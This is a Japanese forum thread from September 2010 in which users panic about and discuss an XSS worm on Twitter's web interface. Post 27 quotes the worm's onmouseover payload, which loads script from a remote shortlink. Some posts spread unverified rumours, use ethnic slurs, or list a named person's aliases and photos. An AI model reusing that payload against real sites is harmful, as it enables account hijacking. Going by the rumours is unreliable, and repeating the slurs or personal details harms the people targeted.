おまえらWebからTwitterするなよ

1 ：Ψ：2010/09/21(火) 21:40:33 ID:8SMOMcHb0

今大変なことになってるから

2 ：(´･ω･)ミスター粘土 ◆igoTM4.3Ko ：2010/09/21(火) 21:41:29 ID:Hfh8OQzY0 BE:1706715656-2BP(4480)

大変な事に巻き込まれました(´;ω;`)

3 ：Ψ：2010/09/21(火) 21:41:50 ID:xzbJUi7I0

なにこれウイルスに感染した？

4 ：Ψ：2010/09/21(火) 21:43:18 ID:rV40MOOY0

ほ～たいへんだねぇ

5 ：Ψ：2010/09/21(火) 21:44:13 ID:FEDkVnaJ0

>>2
粘土たん！俺も食らったお・・・('A`)

6 ：Ψ：2010/09/21(火) 21:44:54 ID:PpzaLhSe0

（人*´ω｀*）　えぇ～～

7 ：Ψ：2010/09/21(火) 21:45:47 ID:8SMOMcHb0

XSSの脆弱性によりtwitter.comにアクセスして黒いつぶやきにカーソルをあてると
不本意のツイートやRTをされる可能性があります！
ちなみ黒以外の色でも塗りつぶされたつぶやきも同様です！

おれ詳しくないからコピペだけどね↑のようなことらしい

8 ：Ψ：2010/09/21(火) 21:47:49 ID:FEDkVnaJ0

　＿＿＿
/　||￣￣||　　　（
|.....||＿＿|| （　　　）　　どうしてこなた・・・
|￣￣＼三⊂/￣￣￣/
|　　　　|　( ./　　　　 /
　＿＿＿
/　||￣￣||　　　）
|.....||＿＿|| （＝ω＝.）　　どうしてこなた！？
|￣￣＼三⊂/￣￣￣/
|　　　　|　( ./　　　　 /

　＿＿＿ ♪　　　）　.∩
/　||￣￣||　ｒ（＝ω＝.）ﾉ　　どうしてこなた！
|.....||＿＿|| └‐、　　　ﾚ´｀ヽ　　　どうしてこなた！
|￣￣＼三　 /￣￣￣/ノ´｀　♪
|　　　　|　( ./　　　　 /

　＿＿＿　　　　　　　♪　　∩　　）
/　||￣￣||　　　　　　　　　_ ヽ（＝ω＝.）7　　どうしてこなた！
|.....||＿＿|| 　　　　　　　　/｀ヽJ　　　,‐┘　　　どうしてこなた！　
|￣￣＼三　 /￣￣￣/ 　´｀ヽ､_　ノ　　　　
|　　　　|　( ./　　　　 / 　　　　　｀) ）　♪

9 ：Ψ：2010/09/21(火) 21:49:29 ID:I03W0qum0

本家もこの状態判ってるのかな？
てかツイッター人口なんかそんなに居ないだろ日本
むしろアメリカの方がやばそう

10 ：Ψ：2010/09/21(火) 21:52:39 ID:cc/rh68O0

今日になって突然だったな、TL上が真っ黒なんだが

11 ：Ψ：2010/09/21(火) 21:53:04 ID:RQFOAlkk0

感染しちゃったよー　ってやつが降臨するまで信じれんなー
とか言いつつもログインしないでいる私がおる

12 ：Ψ：2010/09/21(火) 21:55:48 ID:8SMOMcHb0

Webでやってる人はもれなくやられてるよ

13 ：Ψ：2010/09/21(火) 21:56:32 ID:gRu4dITP0

感染した…

14 ：Ψ：2010/09/21(火) 21:58:59 ID:gRu4dITP0

勘違いだった…

15 ：SBT：2010/09/21(火) 22:00:33 ID:FY+TrSxf0

やってくれるじゃねーかよ。クソが！

16 ：(´･ω･)ミスター粘土 ◆igoTM4.3Ko ：2010/09/21(火) 22:02:18 ID:Hfh8OQzY0 BE:1422263055-2BP(4480)

>>5
('A`) 人('A`) ﾅｶｰﾏ

17 ：Ψ：2010/09/21(火) 22:08:54 ID:snCBwXgF0

確かに様子おかしかった。勝手にツイートされたり。

18 ：静岡人 ◆Jnlik0MEGA ：2010/09/21(火) 22:09:58 ID:+4h7XqNY0

何があったのか気になるけど、
怖くて行けないお(´;ω;`)

19 ：Ψ：2010/09/21(火) 22:11:16 ID:Ee8gaC6p0

確かに、変な RT とかがあって、ん？とか思ったんですが
どうなんでしょうか、ウイルスとか大丈夫かしら・・・。
ＷＥＢから見ちゃったんですけども・・・。 ( ゜Д゜ )

20 ：Ψ：2010/09/21(火) 22:12:54 ID:n6U2wM3R0

スマフォの専用ツールから
twitter死んだん？久々の囁きがこんなんでイイん？
って囁いといた

21 ：Ψ：2010/09/21(火) 22:13:17 ID:UXJYDgZm0

今んとこJavascriptで文字やら背景やらが黒くなったりするだけだからウイルスではなくて悪戯に引っかかった程度だよ。
まぁそのうちもっと悪質なのがでてくるかもしれないけど

22 ：Ψ：2010/09/21(火) 22:13:29 ID:dv/nrFHs0

とりあえずブラウザ閉じて、その後専用蔵でやればいい

23 ：岸和田市民 ◆HOXERHaUXY ：2010/09/21(火) 22:13:55 ID:TDivKmkU0

うそーん

24 ：静岡人 ◆Jnlik0MEGA ：2010/09/21(火) 22:14:41 ID:+4h7XqNY0

ウイルス？
さすがに関係ないと思うけど、時期が時期だけに怖いな。

25 ：Ψ：2010/09/21(火) 22:14:57 ID:MfxlJ+7M0

やられた

26 ：Ψ：2010/09/21(火) 22:15:07 ID:E8nXWN3t0

うちのも変になってた…
どうすりゃいいんだ

27 ：Ψ：2010/09/21(火) 22:15:09 ID:Z8IgXTfY0

.http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

ってオレのがかってにつぶやいた。消さずにログアウトしちゃったけど大丈夫？
ウイルスとか心配ない？

28 ：(´･ω･)ミスター粘土 ◆igoTM4.3Ko ：2010/09/21(火) 22:15:14 ID:Hfh8OQzY0 BE:3584102279-2BP(4480)

教えてもらってついっぷる使い始めましたが・・・
そこもなんか重くて(´･ω･)
今日はもうダメかもしれませんね(´;ω;`)

29 ：Ψ：2010/09/21(火) 22:15:21 ID:cc/rh68O0

>>19
ホームのＴＬ上に黒で塗りつぶされた（別の色の可能性もあり）ポストがあったら自分かフォロワーの誰かが被害に遭ってる可能性あり
黒塗りはＸＳＳの構文が書いてありマウスオーバーで感染（？）、同様の文章をポストあるいはＲＴするみたいだ
ＸＳＳの脆弱性を付いて身に覚えのないポストをしたり発言内容を改ざんするなどの被害が出ているとのこと

30 ：Ψ：2010/09/21(火) 22:17:00 ID:cc/rh68O0

ウイルスはないらしいが、ウイルスを仕込むこともできるし現在までの段階で不特定多数に本人の意思とは関係なくツイートを拡散させることが可能であることは十分わかっているようだ

31 ：Ψ：2010/09/21(火) 22:18:25 ID:+w9fxxWR0 BE:2412840858-2BP(0)

まとめると、
2010/9/21 20:23 twitterでjsのXSS攻撃が開始　被害大多数

・cookieが抜かれ、個人情報流出の恐れ
・カーソルを乗せるだけで自動的にRTされ拡大する
・被害約1000万人
・DoS攻撃に似た症状
・違法サイトへの直リンにつながるケースも
・Twitterの管理権限の暗号パスを解いたと思われる男子高校生１７才逮捕？
・http://twitter.com/RainbowTwtrというアカウントから流出
・jsで文字、背景が黒くなる悪戯なので心配は無い？
・今後更に悪質な目的のXSSが予想される

32 ：Ψ：2010/09/21(火) 22:19:13 ID:dv/nrFHs0

>>27
ここ無事 http://hootsuite.com/
入れたらそのつぶやき削除でおｋ

33 ：Ψ：2010/09/21(火) 22:19:41 ID:v8YugD780

フォローが一人しか居ない俺はなんともなかった

34 ：Ψ：2010/09/21(火) 22:19:49 ID:E8nXWN3t0

ログアウトしたけど変なリツイートされてたよ
暗号みたいなのorz

35 ：Ψ：2010/09/21(火) 22:19:55 ID:Ee8gaC6p0

>>29
あ、文章に上から赤紫色で線というか塗りつぶされた感じになっていて、
確かに知らない RT みたいなのがあったような・・・。 ( ゜Д゜ )
知った瞬間にすぐログアウトしないと！と思ったので、あまり覚えていませんが orz

36 ：静岡人 ◆Jnlik0MEGA ：2010/09/21(火) 22:20:12 ID:+4h7XqNY0

>>28
＜ついっぷる
そんなかわいい言い方があるのですかー！(*ﾟ∀ﾟ)=3ﾊｧﾊｧ

関係ない話でごめん　○|￣|＿　
こんだけ騒ぎになってるのなら明日のニュースに出るかもね。

37 ：Ψ：2010/09/21(火) 22:20:42 ID:im3GxVoe0

？

38 ：通りすがりさん：2010/09/21(火) 22:21:00 ID:o8qk7xQq0

カーソル合わせただけで感染ってすごいよな・・・

39 ：Ψ：2010/09/21(火) 22:22:52 ID:4PFHTRQL0

ついっぷるも終了

40 ：Ψ：2010/09/21(火) 22:23:23 ID:E8nXWN3t0

>>32
こっからどう入ればいいんだ…

41 ：Ψ：2010/09/21(火) 22:24:14 ID:+w9fxxWR0 BE:1447704364-2BP(0)

これがオータムウォーズか・・・

42 ：Ψ：2010/09/21(火) 22:24:43 ID:Z8IgXTfY0

>>32
こっからどうすればいい？

43 ：静岡人 ◆Jnlik0MEGA ：2010/09/21(火) 22:26:02 ID:+4h7XqNY0

ついっぷる(*´Д`*)ﾊｧﾊｧ
俺も興味あったんだよねぇ(´･ω･`)　
ついっぷる(*´Д`*)ﾊｧﾊｧ

44 ：Ψ：2010/09/21(火) 22:26:07 ID:G3RiakSs0

さえずりはどうだろう

45 ：Ψ：2010/09/21(火) 22:26:27 ID:1oWiJDl60

カーソル乗せたら RT @Master　みたいなのいっぱいでてきた…こわ

46 ：Ψ：2010/09/21(火) 22:26:51 ID:cc/rh68O0

>>31
情報交換ならばひとつ
Ｔｗｅｅｎからだと文字列が文字列として表示されており、現在のところ特に影響はない
あくまでwebからアクセスした際にＲＴ等本人の意思と無関係の行動が起こるらしい
クライアントソフトを使う、携帯からアクセスする等とにかくwebからのアクセスを避ける
不安を感じたらRainbowTwtrはブロック推奨

47 ：Ψ：2010/09/21(火) 22:27:47 ID:dv/nrFHs0

Twitter 高機能 Web クライアント"HootSuite"の使い方
http://hdphoto.blog102.fc2.com/blog-entry-420.html

ていうかぐぐれｗ

48 ：Ψ：2010/09/21(火) 22:28:51 ID:o8qk7xQq0

モバツイorゆびったーで呟くしかないのか・・・・

49 ：Ψ：2010/09/21(火) 22:30:40 ID:p7Tiuudd0

Seesmicも無事っぽい。JS攻撃だから、API直接叩いてるクライアント系とか、そもそもJSなんて走らないもばついは結果的に無事ってコト？

50 ：Ψ：2010/09/21(火) 22:30:46 ID:h0cmN3P30

TkTweets大好き

51 ：Ψ：2010/09/21(火) 22:31:37 ID:G3RiakSs0

もばついエラー出た

52 ：Ψ：2010/09/21(火) 22:35:10 ID:Ee8gaC6p0

う－ん、いろいろパニックですな・・・。 ( ゜Д゜ )
１日ぐらいでこの件は収まるのかしら・・・？

53 ：Ψ：2010/09/21(火) 22:35:29 ID:TUPRM1ag0

>>41
よろしくお願いしまああああああああああす

54 ：Ψ：2010/09/21(火) 22:35:59 ID:UXJYDgZm0

Macの人はEchofon使うといいよ

55 ：Ψ：2010/09/21(火) 22:36:31 ID:i106kt2G0

saezuriはＯＫ？

56 ：Ψ：2010/09/21(火) 22:37:50 ID:gexH4wT80

勝手にリツイートしたスクリプトのツイートを解除したら、「もうだれもあなたのリツイートを見ないでしょう」って出た。なんなのこれ

57 ：(´･ω･)ミスター粘土 ◆igoTM4.3Ko ：2010/09/21(火) 22:38:25 ID:Hfh8OQzY0 BE:796467072-2BP(4480)

>>36 >>43
静岡さん興奮し過ぎ(；´Д｀)

58 ：Ψ：2010/09/21(火) 22:38:38 ID:cc/rh68O0

>>49
てことはＡＰＩ叩いてるＴｗｅｅｎも危ういかな
またクライアント増やすのか、めんどいな

59 ：Ψ：2010/09/21(火) 22:39:07 ID:o8qk7xQq0

ついーんは平気そうだった

60 ：Ψ：2010/09/21(火) 22:39:19 ID:UXJYDgZm0

>>56
ツイート削除したからフォロワーのTLからも消えて誰からも見れなくなったよ！ってことじゃね？

61 ：Ψ：2010/09/21(火) 22:39:35 ID:i106kt2G0

>「もうだれもあなたのリツイートを見ないでしょう」

これなんか相手が怒ったみたいで怖いよ(´・ω・｀)

62 ：Ψ：2010/09/21(火) 22:39:43 ID:oibPJUh00

つい祭りだとホームからやってしもたｗｗｗ変なうｒｌ発言しておるｗｗｗ

63 ：Ψ：2010/09/21(火) 22:39:59 ID:p2Hb82O80

モバツイも怪しいとか

64 ：Ψ：2010/09/21(火) 22:40:53 ID:95o5lsMi0

やられた。
気になってウィルススキャンしたら2つ検出した

65 ：Ψ：2010/09/21(火) 22:41:37 ID:ofRNNH/B0

何が起きた？知らずにTwitter開いたら黒画面＆赤文字で勝手にリツイート
2回されたが普通に消してログアウトした。これって俺の情報抜かれたの？

66 ：Ψ：2010/09/21(火) 22:41:44 ID:Qm9uq+dn0

フォロワーさんに迷惑かけてしまったっぽい（；ｗ；）

あぁ。。

情報抜かれてもいいから、それはやだな。。

67 ：静岡人 ◆Jnlik0MEGA ：2010/09/21(火) 22:42:14 ID:+4h7XqNY0

>>57
(　ﾟдﾟ)ﾊｯ!!

(ﾟдﾟ)ｵﾚﾊｲｯﾀｲﾅﾆｦ･･･

68 ：Ψ：2010/09/21(火) 22:42:48 ID:tytJ+zpr0

http://twitter.com/qlip_jp

69 ：Ψ：2010/09/21(火) 22:42:53 ID:i106kt2G0

俺も芸能人に愛しているとか変なツイートしてるけど
ただおれが変態だったようだ

70 ：静岡人 ◆Jnlik0MEGA ：2010/09/21(火) 22:43:39 ID:+4h7XqNY0

>「もうだれもあなたのリツイートを見ないでしょう」

何かホラーだな。

71 ：Ψ：2010/09/21(火) 22:44:03 ID:gNb1OqTv0

http://m5s.jp/tw/xssvul/

72 ：Ψ：2010/09/21(火) 22:45:08 ID:frhTfHkh0

巻き込まれたけど、どーすべきなのか・・・

73 ：Ψ：2010/09/21(火) 22:45:28 ID:Qm9uq+dn0

ＲＴ今回の騒ぎ、ウィルス感染やアカウント乗っ取りとは関係ないそうですにゃ。。。

だと。
ホントか？？

74 ：Ψ：2010/09/21(火) 22:46:10 ID:MdDMXG4F0

webから見ても特になんともなってないんだけど…普通にツイートもリプもできるけど･･･。
たまたま？

75 ：Ψ：2010/09/21(火) 22:48:00 ID:Ep1eKu89P

twitter上でもぼっちの俺に隙は無かった

76 ：Ψ：2010/09/21(火) 22:49:21 ID:ofRNNH/B0

ちなみに勝手にリツイートされた内容がハングルだった･･･。

77 ：Ψ：2010/09/21(火) 22:49:54 ID:NTJGL/bT0

>>74
さっき公式のsafetyとかいうアカウントからXSS攻撃の解明して
パッチあててる（あるいは修繕してる）っていうつぶやきが
きたから、とりあえずは解決に向かってるのかも？

78 ：Ψ：2010/09/21(火) 22:49:59 ID:cc/rh68O0

>>75
適当なやつフォローして、あえて感染してＲＴしまくれば被フォロワー増えるかもしれんぞ

79 ：Ψ：2010/09/21(火) 22:50:13 ID:PtW6FcFY0

>>1
よう、情弱半島人！

80 ：Ψ：2010/09/21(火) 22:51:11 ID:cc/rh68O0

>>76
ロシア語ってのもあったぞ

81 ：Ψ：2010/09/21(火) 22:52:22 ID:i106kt2G0

女からフォローされて喜んでＵＲＬクリックしたら
ナンパして女をゲットする方法とか

世の中甘くないのか？

82 ：Ψ：2010/09/21(火) 22:56:36 ID:ylMYFNst0

API利用するクライアントは文字情報とって来るだけだから大丈夫だよね
>>58　の意味が分からん

83 ：Ψ：2010/09/21(火) 22:56:53 ID:NTJGL/bT0

XSS攻撃問題の終了宣言来たぞー
ホントか？？

84 ：Ψ：2010/09/21(火) 22:58:25 ID:MdDMXG4F0

>>77
そーなのか。垢3つあるけどどれも無事だったよ…。
そのうち一つはbotだからほんとに無事でよかった…。

85 ：Ψ：2010/09/21(火) 23:00:23 ID:QqUrj0Rf0

なんと云う事でしょう…

http://wikiwiki.jp/2chIRC/?%C6%FE%A4%EC%A4%DE%A4%BB%A4%F3%A1%AA#e623e035

86 ：Ψ：2010/09/21(火) 23:00:26 ID:zvfao1/40

|ω･`) もういっていいの？

87 ：Ψ：2010/09/21(火) 23:01:13 ID:Qm9uq+dn0

kinugawamasato

こいつめ…
おわりか。

88 ：Ψ：2010/09/21(火) 23:02:02 ID:iWKLiHNp0

ツイッター終了のお知らせですか？

89 ：Ψ：2010/09/21(火) 23:02:08 ID:4ZRBvQeQO

中国からの攻撃か？

90 ：Ψ：2010/09/21(火) 23:03:00 ID:QqUrj0Rf0

何と云う事でしょう…

http://wikiwiki.jp/2chIRC/?%C6%FE%A4%EC%A4%DE%A4%BB%A4%F3%A1%AA#e623e035

91 ：Ψ：2010/09/21(火) 23:04:13 ID:o8qk7xQq0

どうやらXSSの脆弱化無くなったらしい

92 ：Ψ：2010/09/21(火) 23:04:20 ID:cc/rh68O0

>>82
ＡＰＩ利用してるのは文字情報持ってきてるだけだから影響はねーってことか
なるほど勘違いしてた

kinugawamasato←ＴＬ上でコイツあぶねぇ言われてたからとりあえずブロックしたが、コイツが作って蒔いてたの？

93 ：Ψ：2010/09/21(火) 23:04:32 ID:QqUrj0Rf0

　 level
　(+Φ　Φ)…　編集し直して置きます

94 ：Ψ：2010/09/21(火) 23:06:07 ID:zvfao1/40

バグ終了したってマジなの？

95 ：Ψ：2010/09/21(火) 23:06:13 ID:Qm9uq+dn0

>>92
関係大ありらしい。
ＦＣ２の脆弱性もいってたやつとか…

96 ：Ψ：2010/09/21(火) 23:06:26 ID:cc/rh68O0

公式が対策完了とのこと
http://status.twitter.com/post/1161435117/xss-attack-identified-and-patched

97 ：Ψ：2010/09/21(火) 23:08:05 ID:E3bQ0QuG0

>>55
saezuriは大丈夫

98 ：Ψ：2010/09/21(火) 23:09:57 ID:FEDkVnaJ0

senzuri

99 ：Ψ：2010/09/21(火) 23:11:27 ID:n6U2wM3R0

もう終わりか
大変だった人たち、乙～

100 ：Ψ：2010/09/21(火) 23:17:03 ID:guAGMxSS0

ニュースでさえ重い　さすがだ

101 ：Ψ：2010/09/21(火) 23:30:57 ID:t2blR6VA0

おもしろかったｗ

102 ：Ψ：2010/09/21(火) 23:46:01 ID:dBZYBUhL0

もうwebで開いていいん？

103 ：Ψ：2010/09/22(水) 00:02:19 ID:xMpyE5/U0

http://image.bayimg.com/naphoaacc.jpg
http://image.bayimg.com/oaphjaacc.jpg
http://image.bayimg.com/paphcaacc.jpg

塩見隆介

DJガラスの火星／ＨＡ☆ＧＥ／斧出狩男／shiomiryusuke／臼2回転木村／ryushioryu／京都のハゲ／汐海／しおみりゅうすけ

104 ：Ψ：2010/09/22(水) 00:09:57 ID:M58W4rNV0

>>103
斧出狩男ww懐かしいw
前にねとらじよく聞いてたわ

105 ：Ψ：2010/09/22(水) 00:14:34 ID:KV159aF60

まずいね。

今頃シナがウイルスやらBOTやら仕込んでるんじゃ・・

106 ：Ψ：2010/09/22(水) 00:16:29 ID:a6ChajY70

まだ治ってないのかよー？

107 ：Ψ：2010/09/22(水) 00:19:26 ID:KV159aF60

更新おっそ。

ネトゲのログインゲーム化してきたな。

108 ：Ψ：2010/09/22(水) 00:22:52 ID:4vyVKzsU0

>>57
前から言いたかったんだけど、ここじったすじゃなくてじっぷらだから。
例外的に名無しでもスレ立てられるけど基本は記者制。
板名もliveplus(VIP+はnews4viptasu)